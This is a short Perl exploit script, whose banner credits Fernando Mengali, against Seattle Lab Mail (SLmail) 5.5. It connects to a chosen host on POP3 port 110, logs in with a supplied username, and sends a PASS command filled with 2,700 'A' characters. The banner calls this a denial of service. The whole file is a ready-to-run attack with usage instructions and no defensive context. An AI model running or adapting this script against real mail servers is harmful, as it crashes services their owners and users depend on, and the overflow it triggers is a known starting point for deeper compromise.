use IO::Socket;
sub intro {
    print "***************************************************\n";
    print "*          Seattle Lab Mail (SLmail) 5.5          *\n";
    print "*                                                 *\n";    
    print "*             Coded By Fernando Mengali           *\n";
    print "*                                                 *\n";
    print "*       POP3 'PASS' Denied of Service - DoS       *\n";
    print "*                                                 *\n";
    print "***************************************************\n";
}
intro();
    if (!$ARGV[0] && !$ARGV[1]) {
        print "\nUsage: $0 <ip> <username>\n";
        exit(0);
    }
my $host = $ARGV[0];
my $username = $ARGV[1];
my $port = 110;
my $payload  = "A" x 2700;
    my $s = IO::Socket::INET->new(
        PeerAddr => $host,
        PeerPort => $port,
        Proto    => 'tcp'
    ) or die "Unable to connect: $!\n";
    $s->recv(my $data, 1024);    # Grab banners (if any)
    $s->send('USER ' . $username . "\r\n");
    $s->recv(my $response, 1024);
    $s->recv(my $data, 1024);    # Grab banners (if any)
    $s->send('PASS ' . $payload . "\r\n");
    $s->recv(my $response, 1024);    
    $s->send("QUIT\r\n");
    $s->close();